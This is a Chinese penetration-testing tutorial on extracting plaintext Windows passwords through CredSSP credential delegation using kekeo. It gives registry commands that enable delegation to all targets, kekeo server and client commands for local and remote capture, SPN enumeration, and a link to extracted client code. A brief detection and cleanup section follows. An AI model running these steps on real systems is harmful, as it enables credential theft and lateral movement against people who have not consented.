渗透技巧——通过CredSSP导出用户的明文口令

  • A+
所属分类:安全文章

渗透技巧——通过CredSSP导出用户的明文口令

渗透技巧——通过CredSSP导出用户的明文口令
0x00 前言

在渗透测试中,为了获得Windows系统中的用户口令,通常会选择读取lsass进程的内存。这种方法不仅需要获得系统的管理员权限,而且在更多情况下需要绕过系统对lsass进程的保护。

我在之前的文章《Windows下的密码hash——Net-NTLMv1介绍》曾介绍过使用InternalMonologue获得当前用户凭据的方法(通过SSPI调用对NTLM身份验证包(MSV1_0)的本地过程调用,以计算出NetNTLM响应),不需要对lsass进程操作。

本文将要介绍另外一种获得当前用户口令的方法,同样不需要对lsass进程操作。

这是Benjamin @gentilkiwi Delpy开源的kekeo在2018年添加的功能,只需要修改Windows系统的组策略,就能够以普通用户的权限获得用户的明文口令。

本文将要对其中的原理进行简要介绍,分析不同环境下的利用思路,给出防御建议。

渗透技巧——通过CredSSP导出用户的明文口令
0x01 简介

本文将要介绍以下内容:

· 实现原理

· 实现方法

· 利用分析

· 防御检测

渗透技巧——通过CredSSP导出用户的明文口令
0x02 实现原理

1.基础知识

CredSSP

全称Credential Security Support Provider protocol。

CredSSP协议的目的是将用户的明文密码从CredSSP客户端委派给CredSSP服务器。

CredSSP通常应用于远程桌面服务(Remote Desktop Protocol)和Windows远程管理(Windows Remote Management)(例如Powershell Remoting)。

CredSSP提供了加密的传输层安全协议通道。协商协议使用Kerberos和NTLM。

参考资料:

https://docs.microsoft.com/en-us/windows/win32/secauthn/credential-security-support-provider

2.通过组策略设置CredSSP的凭据分配

通过组策略可以指定使用CredSSP组件的应用程序是否发送默认凭据。

组策略位置:Computer Configuration->Administrative Templates->System->Credentials Delegation

如下图:

渗透技巧——通过CredSSP导出用户的明文口令

Allow delegating default credentials表示在通过使用受信任的X509证书或Kerberos实现服务器身份验证时自动发送当前用户的凭据。

Allow delegating default credentials with NTLM-only server authentication表示在通过NTLM实现服务器身份验证时自动发送当前用户的凭据

组策略对应的注册表位置:HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsCredentialsDelegation。

3.CredSSP的凭据分配在远程桌面服务上的应用

对于工作组环境,需要启用Allow delegating default credentials with NTLM-only server authentication。

对于域环境,需要启用Allow delegating default credentials。

开启对应的组策略后,在使用远程桌面连接时,会自动发送当前用户的凭据(明文格式,不是hash)。

数据结构如下:

TSPasswordCreds ::= SEQUENCE {

         domainName  [0] OCTET STRING,

         userName    [1] OCTET STRING,

         password    [2] OCTET STRING

 }

参考资料:

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-cssp/17773cc4-21e9-4a75-a0dd-72706b174fe5

4.实现原理

综上,如果我们实现以下操作:

· 修改主机A的组策略,设置为自动发送当前用户的凭据

· 在主机B上面实现服务端的功能,接收主机A发送的请求

那么当我们控制主机A连接主机B时,主机B就能够获得主机A用户的明文口令。

CredSSP协议细节可参考:

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-cssp/85f57821-40bb-46aa-bfcb-ba9590b8fc30

更近一步,如果我们实现以下操作:

· 修改主机A的组策略,设置为自动发送当前用户的凭据

· 在主机A上面实现服务端的功能,接收主机A自己发送的请求

我们同样能够获得用户的明文口令。

注:keko的实现方式是通过SMB协议创建命名管道,而不是RDP协议。

如下图:

渗透技巧——通过CredSSP导出用户的明文口令

渗透技巧——通过CredSSP导出用户的明文口令
0x03 实现方法

通过修改注册表的方式添加组策略,命令如下:

reg add hklmSOFTWAREPoliciesMicrosoftWindowsCredentialsDelegation /v AllowDefaultCredentials /t REG_DWORD /d 1

reg add hklmSOFTWAREPoliciesMicrosoftWindowsCredentialsDelegation /v AllowDefCredentialsWhenNTLMOnly /t REG_DWORD /d 1

reg add hklmSOFTWAREPoliciesMicrosoftWindowsCredentialsDelegation /v ConcatenateDefaults_AllowDefault /t REG_DWORD /d 1

reg add hklmSOFTWAREPoliciesMicrosoftWindowsCredentialsDelegation /v ConcatenateDefaults_AllowDefNTLMOnly /t REG_DWORD /d 1

reg add hklmSOFTWAREPoliciesMicrosoftWindowsCredentialsDelegationAllowDefaultCredentials /v 1 /t REG_SZ /d *

reg add hklmSOFTWAREPoliciesMicrosoftWindowsCredentialsDelegationAllowDefCredentialsWhenNTLMOnly /v 1 /t REG_SZ /d *

添加组策略后,需要等待用户重新登录并输入凭据后才能生效,例如锁屏、注销或重启等。

对于不同的网络环境,实现方法存在差异。

1.工作组网络

身份验证方式为NTLM。

(1)抓取本机口令

建立服务器的kekeo命令如下(普通用户权限):

tsssp::server

连接服务器的kekeo命令如下(普通用户权限):

tsssp::client /target:anyword

如下图:

渗透技巧——通过CredSSP导出用户的明文口令

注:抓取本机口令时,target参数可以设置为任意字符。

2.域网络

身份验证方式为Kerberos

(1)抓取本机口令

建立服务器的kekeo命令如下(普通用户权限):

tsssp::server

连接服务器的kekeo命令如下(普通用户权限):

tsssp::client /target:anyword

注:抓取本机口令时,target参数可以设置为任意字符。

(2)抓取远程主机口令

建立服务器的kekeo命令如下(System权限):

tsssp::server

连接服务器的kekeo命令如下(普通用户权限):

tsssp::client /target:TERMSRV/COMPUTER01.test.com /pipe:\COMPUTER01.test.compipekekeo_tsssp_endpoint

结果如下图:

渗透技巧——通过CredSSP导出用户的明文口令

这里使用的参数为域内计算机帐户对应的SPN。

查看当前域内的所有SPN可以使用setspn命令:

setspn.exe -q */*

查看test域内的所有SPN:

setspn.exe -T test -q */*

渗透技巧——通过CredSSP导出用户的明文口令
0x04 利用分析

1.优点

不需要同lsass进程交互,所以能够绕过对lsass进程的保护。

在修改组策略后,只需要普通用户权限就能实现。

注:添加组策略后,需要等待用户重新登录并输入凭据后才能生效,例如锁屏、注销或重启等。

2.其他利用思路

(1)代码的提取

我将kekeo的tsssp::client功能单独提取出来,地址如下:

https://github.com/3gstudent/Homework-of-C-Language/blob/master/tsssp_client.cpp

代码支持连接本地和远程服务器。

只需要填写pipi参数,我的代码会将target参数自动补全为TERMSRV/< spn >

连接本地的命令示例:

tsssp_client.exe localhost

测试如下图:

渗透技巧——通过CredSSP导出用户的明文口令

连接远程服务器的命令示例:

tsssp_client.exe Computer01.test.com

测试如下图:

渗透技巧——通过CredSSP导出用户的明文口令

kekeo的tsssp::server功能需要安装OSS ASN.1/C

注:使用试用版的OSS ASN.1/C编译生成的exe文件无法在未安装OSS ASN.1/C的系统下使用。

(2)抓取其他用户的口令

使用其他用户的token启动kekeo.exe或者tsssp_client.exe即可。

token的利用方法可参考《渗透技巧——Token窃取与利用》。

渗透技巧——通过CredSSP导出用户的明文口令
0x05 防御检测

1.查询组策略配置

查询注册表的cmd命令如下:

reg query hklmSOFTWAREPoliciesMicrosoftWindowsCredentialsDelegation

2.删除组策略配置

删除注册表项的cmd命令如下:

reg delete hklmSOFTWAREPoliciesMicrosoftWindowsCredentialsDelegation /f

渗透技巧——通过CredSSP导出用户的明文口令
0x06 小结

本文介绍了kekeo的tsssp模块在不同环境下的利用方法,结合利用思路给出防御建议。

渗透技巧——通过CredSSP导出用户的明文口令

渗透技巧——通过CredSSP导出用户的明文口令

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: